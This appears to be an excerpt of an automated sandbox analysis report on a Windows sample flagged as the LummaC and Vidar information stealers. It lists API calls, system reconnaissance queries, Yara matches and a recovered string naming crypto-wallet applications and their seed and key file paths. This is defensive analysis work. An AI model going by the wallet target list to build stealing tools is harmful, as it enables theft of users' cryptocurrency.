Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	9_2_00429BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	9_2_0042B3B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	9_2_0042B413
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	9_2_0042AC90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	9_2_00425533
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	9_2_0042B5E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	9_2_004275EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	9_2_004276C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	9_2_0042B6D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesA,	9_2_0042B6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	9_2_00429EBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	9_2_0042E6BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	9_2_0042B773
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	9_2_00428F14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	9_2_0042B737
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,	9_2_0042E7F4
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	13_2_0085C085
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: GetLocaleInfoW,	13_2_0085622B
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: EnumSystemLocalesW,	13_2_0085C327
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: EnumSystemLocalesW,	13_2_0085C372
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	13_2_0085C498
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,__calloc_crt,_free,	13_2_0089240B
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: EnumSystemLocalesW,	13_2_0085C40D
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	13_2_0089459E
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: GetLocaleInfoW,	13_2_0085C6EB
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	13_2_0085C814
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	13_2_0085C9E9
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: GetLocaleInfoW,	13_2_0085C91A
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,	13_2_00896A78
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	13_2_00897B68
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	13_2_00896D96
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	13_2_00895DEC
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: EnumSystemLocalesW,	13_2_00855D7F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\WiTqtf1aiE.exe

Code function: 0_2_005A7815 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_005A7815

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 9_2_00410C53 GetProcessHeap,HeapAlloc,GetUserNameA,

9_2_00410C53

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 9_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

9_2_00410D2E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: MSBuild.exe, 00000009.00000002.2633668916.0000000001458000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2704953389.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2704953389.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 19.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.AEHIDAKECF.exe.fc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2611657350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 8.2.22594e132764.exe.86dad8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.22594e132764.exe.86dad8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.22594e132764.exe.86dad8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.22594e132764.exe.840000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.22594e132764.exe.840000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.22594e132764.exe.86dad8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 22594e132764.exe PID: 6980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 3924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 22594e132764.exe PID: 7656, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7672, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
